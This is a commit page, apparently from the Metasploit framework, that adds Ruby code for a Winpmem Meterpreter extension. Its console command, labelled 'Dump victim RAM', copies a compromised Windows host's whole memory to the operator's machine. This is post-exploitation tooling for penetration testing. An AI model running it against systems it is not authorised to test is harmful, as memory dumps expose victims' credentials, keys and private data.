Winpmem meterpreter extension
parent
e403df57e0
commit
39407dda95
|
@ -0,0 +1,13 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Winpmem
|
||||
TLV_TYPE_WINPMEM_ERROR_CODE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_WINPMEM_MEMORY_SIZE = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 2)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,51 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/extensions/winpmem/tlv'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Winpmem
|
||||
###
|
||||
#
|
||||
# This meterpreter extension can be used to capture remote RAM
|
||||
#
|
||||
###
|
||||
class Winpmem < Extension
|
||||
WINPMEM_ERROR_SUCCESS = 0
|
||||
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
|
||||
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
|
||||
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
|
||||
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
|
||||
WINPMEM_ERROR_UNKNOWN = 255
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'winpmem')
|
||||
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'winpmem',
|
||||
'ext' => self
|
||||
},
|
||||
])
|
||||
end
|
||||
|
||||
def dump_ram
|
||||
request = Packet.create_request('dump_ram')
|
||||
response = client.send_request(request)
|
||||
response_code = response.get_tlv_value(TLV_TYPE_WINPMEM_ERROR_CODE)
|
||||
|
||||
return 0, response_code, nil if response_code != WINPMEM_ERROR_SUCCESS
|
||||
|
||||
memory_size = response.get_tlv_value(TLV_TYPE_WINPMEM_MEMORY_SIZE)
|
||||
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
|
||||
|
||||
raise Exception, "We did not get a channel back!" if channel_id.nil?
|
||||
#Open the compressed Channel
|
||||
channel = Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "winpmem", CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS)
|
||||
return memory_size, response_code, channel
|
||||
end
|
||||
end
|
||||
end; end; end; end; end
|
|
@ -0,0 +1,90 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Ui
|
||||
|
||||
class Console::CommandDispatcher::Winpmem
|
||||
|
||||
Klass = Console::CommandDispatcher::Winpmem
|
||||
|
||||
include Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
'Winpmem'
|
||||
end
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
'dump_ram' => 'Dump victim RAM',
|
||||
}
|
||||
end
|
||||
|
||||
WINPMEM_ERROR_SUCCESS = 0
|
||||
WINPMEM_ERROR_FAILED_LOAD_DRIVER = 1
|
||||
WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY = 2
|
||||
WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY = 3
|
||||
WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL = 4
|
||||
WINPMEM_ERROR_UNKNOWN = 255
|
||||
|
||||
def cmd_dump_ram(*args)
|
||||
unless args[0]
|
||||
print_error("Usage: dump_ram [raw-memory-file]")
|
||||
return
|
||||
end
|
||||
path_raw = args[0]
|
||||
|
||||
fd = ::File.new(path_raw, 'wb+')
|
||||
memory_size, response_code, channel = client.winpmem.dump_ram
|
||||
case response_code
|
||||
when WINPMEM_ERROR_FAILED_LOAD_DRIVER
|
||||
print_bad("Failed to load the driver")
|
||||
return true
|
||||
when WINPMEM_ERROR_FAILED_MEMORY_GEOMETRY
|
||||
print_bad("Failed to get the memory geometry")
|
||||
return true
|
||||
when WINPMEM_ERROR_FAILED_ALLOCATE_MEMORY
|
||||
print_bad("Failed to allocate memory")
|
||||
return true
|
||||
when WINPMEM_ERROR_FAILED_METERPRETER_CHANNEL
|
||||
print_bad("Failed to open the meterpreter Channel")
|
||||
return true
|
||||
end
|
||||
print_good("Driver PMEM loaded successfully")
|
||||
#Arbitrary big buffer size, could be optimized
|
||||
buffer_size = 2**17
|
||||
bytes_read = 0
|
||||
next_message_byte = memory_size / 10
|
||||
begin
|
||||
data = channel.read(buffer_size)
|
||||
until channel.eof
|
||||
fd.write(data)
|
||||
bytes_read += data.length
|
||||
data = channel.read(buffer_size)
|
||||
if bytes_read >= next_message_byte
|
||||
print_good(((next_message_byte.to_f / memory_size) * 100).round.to_s + "% Downloaded")
|
||||
next_message_byte += memory_size / 10
|
||||
end
|
||||
end
|
||||
print_status("Download completed")
|
||||
ensure
|
||||
print_status("Unloading driver")
|
||||
fd.close
|
||||
#Unload the driver on channel close
|
||||
channel.close
|
||||
end
|
||||
return true
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue